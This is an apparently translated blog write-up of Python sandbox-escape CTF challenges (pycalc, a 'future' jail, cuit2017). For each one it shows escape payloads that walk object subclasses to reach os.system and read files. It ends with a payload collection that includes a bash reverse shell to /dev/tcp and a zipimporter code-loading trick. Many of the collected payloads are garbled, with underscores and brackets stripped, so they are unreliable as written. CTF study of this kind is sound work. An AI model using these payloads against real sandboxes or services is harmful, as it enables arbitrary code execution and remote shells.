whileTrue: 
	try:
		print ">>>",
		 # Read user input until the firstwhitespace character 
		inp = findall('\S+',raw_input())[0]
		a = None 25.         
	         # Set a to the result from executingthe user input
		exec 'a=' + inp         
	        print '>>>', a
	except Exception, e: 
	         print 'Exception:', e 

After running, the effect is almost the same as the usual python command-line interface, but there are only a few "sensitive functions" missing. No ban os? Just import os.

Go Ahead, Expoit me >;D
>>> import os
Exception: invalid syntax (<string>, line 1)
>>> import os
Exception: invalid syntax (<string>, line 1)

It's naive.. Sure, it's not a sign in question.
Here we need to combine the above inheritance and file two parts to bypass, which is a relatively simple problem.

>>> ().__class__.__bases__[0]
>>> <type 'object'>
>>> ().__class__.__bases__[0].__subclasses__()
>>> [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
>>> ().__class__.__bases__[0].__subclasses__()[40]
>>> <type 'file'>
>>> ().__class__.__bases__[0].__subclasses__()[40]("./flag").read()
Exception: [Errno 2] No such file or directory: './flag'   #Because I don't set a flag file locally, I will report an error. Actually, I have finished the read operation.


4.future

 #!/usr/bin/envpython
 from __future__ import print_function 
 print("Welcometo my Python sandbox! Enter commands below!")
 banned= [****]
 targets= __builtins__.__dict__.keys()
 targets.remove('raw_input')
 targets.remove('print')
 
 for x in targets:
 	del __builtins__.__dict__[x]
 while 1:
 	print(">>>", end='')
 	data = raw_input()
	 for no in banned:
		 if no.lower() in data.lower():
 			print("No bueno")
			break
  		else:
 		  # this means nobreak 
  		exec data 

Try to use the catch Chu warnings class (index 59), and use string concatenation to implement (or through other ways) to construct.

Welcometo my Python sandbox! Enter commands below!
>>>().__class__.__bases__[0].__subclasses__()[59]
>>>().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
'1.ISCC 2016 Pwn300 pycalc.py'  2future.py  '3.hackuctf 2012.py'   4..py


5.cuit2017

#-*-coding:utf-8-*- 
#!/usr/bin/python3 
import sys, cmd, os 
del__builtins__.__dict__['__import__'] 
del__builtins__.__dict__['eval'] 
intro= """
pwnhubcuit
pwneverything
Rules:
    -No import
    -No ...
    -No flag
""" 
 
defexecute(command): 
    exec(command, globals()) 
 
classJail(cmd.Cmd): 
    prompt    = '>>> ' 
    filtered   ='***'.split('|') 
 
    def do_EOF(self, line): 
        sys.exit() 
 
    def emptyline(self): 
        return cmd.Cmd.emptyline(self) 
 
    def default(self, line): 
        sys.stdout.write('\x00') 
 
    def postcmd(self, stop, line): 
        if any(f in line for f in self.filtered): 
            print("You are a big hacker!!!") 
            print("Go away") 
        else: 
           try: 
                execute(line) 
           except NameError: 
                print("NameError: name'%s' is not defined" % line) 
           except Exception: 
                print("Error: %s" %line) 
        return cmd.Cmd.postcmd(self, stop,line) 
 
if__name__ == "__main__": 
    try: 
        Jail().cmdloop(intro) 
    except KeyboardInterrupt: 
        print("\rSee you next time!") 

This problem is not only ban function, but also ban symbol.

pwnhubcuit
pwneverything
Rules:
    -No import
    -No ...
    -No flag
>>> ().__class__.__bases__[0].__subclasses__()
You are a big hacker!!!
Go away
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
You are a big hacker!!!
Go away
>>> print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))
You are a big hacker!!!
Go away
>>> print()
>>> print(getattr(os,"system")("ls")) 
'1.ISCC 2016 Pwn300 pycalc.py' '3.hackuctf 2012.py'   5.cuit2017.py


payload collection

You can read these collected payload s. Although the topic or environment is not necessarily these methods, they all have the same understanding of how to construct, and their ideas are naturally clear.

print [].class.base.subclasses()40.read() #see file


().class.bases[0].subclasses()40.read()
//Equivalent to: ()class.bases[0].subclasses()40).read() #There are many other ways to handle strings


[].class.base.subclasses()[60].init.getattribute('func_global'+'s')['linecache'].dict.values()[12]>


print [].class.base.subclasses()[59].init.func_globals['linecache'].dict.values()[12].dict.values()144 linecache Search in os Module executes system commands


getattr(import('types').builtins'tropmi'[::-1], 'mets' 'ys'[::-1])('whoami')


().class.bases[0].subclasses()[59].init.func_globals['linecache'].dict['o'+'s'].dict'sy'+'stem'


().class.bases[0].subclasses()[59].init.getattribute('func_global'+'s')['linecache'].dict['o'+'s'].dict'popen'.read()


print(().class.bases[0].subclasses()[59].init.func_globals['linecache'].dict['o'+'s'].dict'sy'+'stem')


{}.class.bases[0].subclasses()[71].getattribute({}.class.bases[0].subclasses()[71].init.func,'func'+'_global' +'s')['o'+'s'].popen('bash -c "bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1"') #Search for os module from module to execute system command


print [].class.base.subclasses()40.read()


print [].class.base.subclasses()40.read()


print [].class.base.subclasses()40.read()


print [].class.base.subclasses()40.read() #Read important information


code = "PK\x03\x04\x14\x03\x00\x00\x08\x00\xec\xb9\x9cL\x15\xa5\x99\x18;\x00\x00\x00>\x00\x00\x00\n\x00\x00\x00Err0rzz.pySV\xd0\xd5\xd2UH\xceO\xc9\xccK\xb7R(-I\xd3\xb5\x00\x89pqe\xe6\x16\xe4\x17\x95(\xe4\x17sq\x15\x14e\xe6\x81Xz\xc5\x95\xc5%\xa9\xb9\x1a\xea9\xc5\n\xba\x899\xea\x9a\\x00PK\x01\x02?\x03\x14\x03\x00\x00\x08\x00\xec\xb9\x9cL\x15\xa5\x99\x18;\x00\x00\x00>\x00\x00\x00\n\x00$\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81\x00\x00\x00\x00Err0rzz.py\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x00\xd6\x06\xb2p\xdf\xd3\x01\x80\x00\xads\xf9\xa7\xd4\x01\x80\x00\xads\xf9\xa7\xd4\x01PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\\x00\x00\x00c\x00\x00\x00\x00\x00"
print [].class.base.subclasses()40.write(code)
print [].class.base.subclasses()40.read()
[].class.base.subclasses()55.load_module('Err0rzz') #Construct zip module and use zipimorter


x = [x for x in [].class.base.subclasses() if x.name == 'ca'+'tch_warnings'][0].init


x.getattribute("func_global"+"s")['linecache'].dict['o'+'s'].dict'sy'+'stem'


x.getattribute("func_global"+"s")['linecache'].dict['o'+'s'].dict['sy'+'stem']('l'+'s /home/ctf')


x.getattribute("func_global"+"s")['linecache'].dict['o'+'s'].dict'sy'+'stem'

5. For reference / source code download

Exercises source code download
https://www.jianshu.com/p/290709f50861
https://www.freebuf.com/articles/system/203208.html
https://www.cnblogs.com/hf99/p/9753376.html
https://www.jianshu.com/p/5d339d60e390
https://www.cnblogs.com/-qing-/p/11656544.html

Published 9 original articles, won 0 praise and 372 visitors
Private letter follow

Tags: Python Attribute JSON socket

Posted on Wed, 12 Feb 2020 22:38:57 -0500 by wonderman